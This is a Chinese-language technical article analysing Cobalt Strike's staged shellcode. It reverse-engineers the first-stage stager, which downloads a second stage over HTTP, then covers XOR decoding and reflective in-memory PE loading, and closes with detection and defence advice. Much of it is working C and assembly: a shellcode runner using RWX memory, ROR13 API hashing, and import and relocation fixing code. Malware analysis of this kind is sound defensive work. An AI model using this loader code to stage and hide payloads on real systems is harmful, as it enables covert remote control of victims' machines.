细谈CS分离式shellcode的加载之旅
字数 1749 2025-08-27 12:33:48
CS分离式Shellcode加载技术深度解析
一、Shellcode加载基础
1.1 Shellcode基本概念
Shellcode是一段可执行的机器代码,通常用于利用软件漏洞或实现特定功能。在Cobalt Strike(CS)框架中,Shellcode是实现远程控制的关键组件。
1.2 分离式Shellcode特点
分离式Shellcode与传统Shellcode的主要区别在于:
- 分阶段加载:第一阶段仅负责下载第二阶段代码
- 模块化设计:各功能模块分离,降低检测风险
- 动态获取API:通过哈希而非名称获取系统函数
1.3 基本加载方法
unsigned char buf[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31...(省略)";
void start() {
printf("begin....");
// 分配可读可写可执行内存
char* start = (char*)VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(start, buf, sizeof(buf));
__asm {
mov eax, start
call eax
}
}
二、第一阶段Shellcode分析
2.1 功能函数调用机制
第一阶段Shellcode通过特征码调用功能函数:
- 使用
call指令获取当前EIP - 通过
pop ebp保存返回地址 - 传入特征码和其他参数调用功能函数
2.2 动态API获取技术
2.2.1 模块遍历技术
通过PEB结构遍历加载模块:
- 从FS:[0x30]获取TEB
- TEB+0x30获取PEB
- PEB+0xC获取PEB_LDR_DATA
- 遍历InMemoryOrderModuleList链表
mov eax, dword ptr fs:[0x30] // 获取PEB
mov eax, [eax + 0xC] // 获取PEB_LDR_DATA
mov eax, [eax + 0x14] // 获取InMemoryOrderModuleList第一个模块
2.2.2 模块名哈希算法
DWORD GetModuleHash(PWCHAR str, DWORD strlen) {
DWORD result = 0;
char* temp = (PCHAR)str;
for(int i = 0; i < strlen; i++) {
result = ((result >> 0xD) | (result << (0x20 - 0xD))); // 循环右移13位
if(temp[i] >= 0x61) {
temp[i] -= 0x20; // 小写转大写
}
result += temp[i];
}
return result;
}
2.2.3 导出表遍历与函数哈希
DWORD GetFuncHash(PCHAR str) {
DWORD result = 0;
char* strTemp = str;
for(int i = 0; i <= strlen(str); i++) {
result = (result >> 0xD) | (result << (0x20 - 0xD));
result += strTemp[i];
}
return result;
}
2.3 关键API调用序列
-
加载wininet模块:
push 0x74656E push 0x696E6977 push esp push 0x726774C call ebp // 执行LoadLibraryA("wininet") -
初始化Internet连接:
push edi // edi=0 push edi push edi push edi push 0xA779563A call ebp // InternetOpenA -
建立HTTP连接:
push ecx // ecx=0 push ecx push 0x3 // HTTP服务类型 push ecx push ecx push 0x7561 // 端口30081 push ebx // 请求连接的域名/IP push eax // InternetOpenA返回的句柄 push 0xC69F8957 call ebp // InternetConnectA -
发送HTTP请求:
push edi push 0x84400200 push edi push edi push edi push ebx // 请求URI push edi push eax // InternetConnectA返回的句柄 push 0x3B2E55EB call ebp // HttpOpenRequestA -
分配内存接收数据:
push 0x40 push 0x1000 push 0x400000 // 分配4MB内存 push edi push 0xE553A458 call ebp // VirtualAlloc -
读取远程Shellcode:
push ecx push ebx mov edi, esp push edi push 0x2000 push ebx push esi push 0xE2899612 call ebp // InternetReadFile
三、第二阶段Shellcode分析
3.1 动态解密技术
void decode(DWORD* start) {
DWORD* begin = start;
DWORD key = begin[0];
DWORD len = begin[1] ^ begin[0];
begin = begin + 2;
for(int i = 0; i < len; i++) {
DWORD newKey = begin[i];
begin[i] = begin[i] ^ key;
key = newKey;
}
}
3.2 PE文件定位技术
PCHAR GetPeAddr(PCHAR start) {
PCHAR begin = start;
PCHAR target = NULL;
while(1) {
if(*(WORD*)begin == 0x5A4D) { // "MZ"标志
DWORD e_lfanew = *(DWORD*)((DWORD)begin + 0x3c);
if(e_lfanew >= 0x40 && e_lfanew < 0x400) {
DWORD* ntHead = (DWORD*)((DWORD)begin + e_lfanew);
if(*ntHead == 0x4550) { // "PE"标志
target = begin;
break;
}
}
}
begin++;
}
return target;
}
3.3 关键API获取
第二阶段需要获取以下6个关键API:
- LoadLibraryA (EC0E4E8E)
- GetProcAddress (7C0DFCAA)
- VirtualAlloc (91AFCA54)
- VirtualProtect (7946C61B)
- LoadLibraryExA (753A4FC)
- GetModuleHandleA (D3324904)
3.4 内存PE加载技术
3.4.1 内存分配与头部复制
// 分配内存
VirtualAlloc(NULL, 0x3e000, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// 复制PE头部
memcpy(dest, src, SizeOfHeaders);
3.4.2 区段复制
- 遍历节表
- 根据节属性(VirtualSize、PointerToRawData等)复制数据
- 特别处理可执行节(.text)
3.5 导入表修复技术
- 遍历导入描述符(_IMAGE_IMPORT_DESCRIPTOR)
- 加载依赖模块(LoadLibraryA)
- 遍历导入名称表(INT)和导入地址表(IAT)
- 获取函数地址(GetProcAddress)并填充IAT
PIMAGE_IMPORT_DESCRIPTOR importDesc = (PIMAGE_IMPORT_DESCRIPTOR)
(base + optHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
while(importDesc->Name) {
char* moduleName = (char*)(base + importDesc->Name);
HMODULE hModule = LoadLibraryA(moduleName);
PIMAGE_THUNK_DATA origThunk = (PIMAGE_THUNK_DATA)(base + importDesc->OriginalFirstThunk);
PIMAGE_THUNK_DATA iatThunk = (PIMAGE_THUNK_DATA)(base + importDesc->FirstThunk);
while(origThunk->u1.AddressOfData) {
if(origThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG) {
// 按序号导入
iatThunk->u1.Function = (DWORD)GetProcAddress(hModule, (LPCSTR)(origThunk->u1.Ordinal & 0xFFFF));
} else {
// 按名称导入
PIMAGE_IMPORT_BY_NAME nameData = (PIMAGE_IMPORT_BY_NAME)(base + origThunk->u1.AddressOfData);
iatThunk->u1.Function = (DWORD)GetProcAddress(hModule, (LPCSTR)nameData->Name);
}
origThunk++;
iatThunk++;
}
importDesc++;
}
3.6 重定位表修复技术
- 计算基址差值:
delta = newBase - oldBase - 遍历重定位块
- 处理每个重定位项:
- 高4位为类型(3表示需要修复)
- 低12位为偏移
- 修复地址:
*address += delta
PIMAGE_BASE_RELOCATION reloc = (PIMAGE_BASE_RELOCATION)
(base + optHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
while(reloc->SizeOfBlock) {
DWORD* relocAddr = (DWORD*)(base + reloc->VirtualAddress);
int numEntries = (reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
WORD* relocItems = (WORD*)(reloc + 1);
for(int i = 0; i < numEntries; i++) {
if((relocItems[i] >> 12) == IMAGE_REL_BASED_HIGHLOW) {
DWORD* patchAddr = (DWORD*)((BYTE*)relocAddr + (relocItems[i] & 0xFFF));
*patchAddr += delta;
}
}
reloc = (PIMAGE_BASE_RELOCATION)((BYTE*)reloc + reloc->SizeOfBlock);
}
四、第三阶段分析
4.1 DLL入口函数
BOOL APIENTRY DllMain(HMODULE hModule, DWORD fdwReason, LPVOID lpReserved) {
if(fdwReason == DLL_PROCESS_ATTACH) {
// 初始化代码
}
return TRUE;
}
4.2 主要功能函数
-
通信模块:
- 建立HTTP连接
- 定时发送心跳包
- 接收并解析指令
-
任务分派:
- 100+种指令处理
- 包括文件操作、进程控制、屏幕捕获等
-
持久化机制:
- 注册表修改
- 服务安装
- 计划任务
五、防御与检测建议
5.1 检测点
-
Shellcode特征:
- 动态API获取模式
- 模块哈希计算
- 内存分配行为
-
网络行为:
- 特定User-Agent
- 异常HTTP请求模式
- 心跳包特征
-
内存异常:
- 可执行内存区域
- PE头异常
- 重定位表修改
5.2 防御措施
-
内存保护:
- DEP(数据执行保护)
- ASLR(地址空间布局随机化)
- 控制可执行内存分配
-
API监控:
- 关键API调用链分析
- 异常LoadLibrary/GetProcAddress调用
-
行为分析:
- 异常进程行为
- 网络连接模式分析
- 内存PE文件检测
六、总结
CS分离式Shellcode加载技术展示了高级恶意代码的典型特征:
- 模块化设计:各阶段功能分离,降低检测风险
- 动态解析:运行时获取API,避免静态特征
- 内存操作:完全在内存中完成PE加载执行
- 抗分析:加密、混淆等技术增加分析难度
理解这些技术细节对于安全研究人员开发检测规则和防御措施至关重要,也为红队人员提供了免杀技术的研究方向。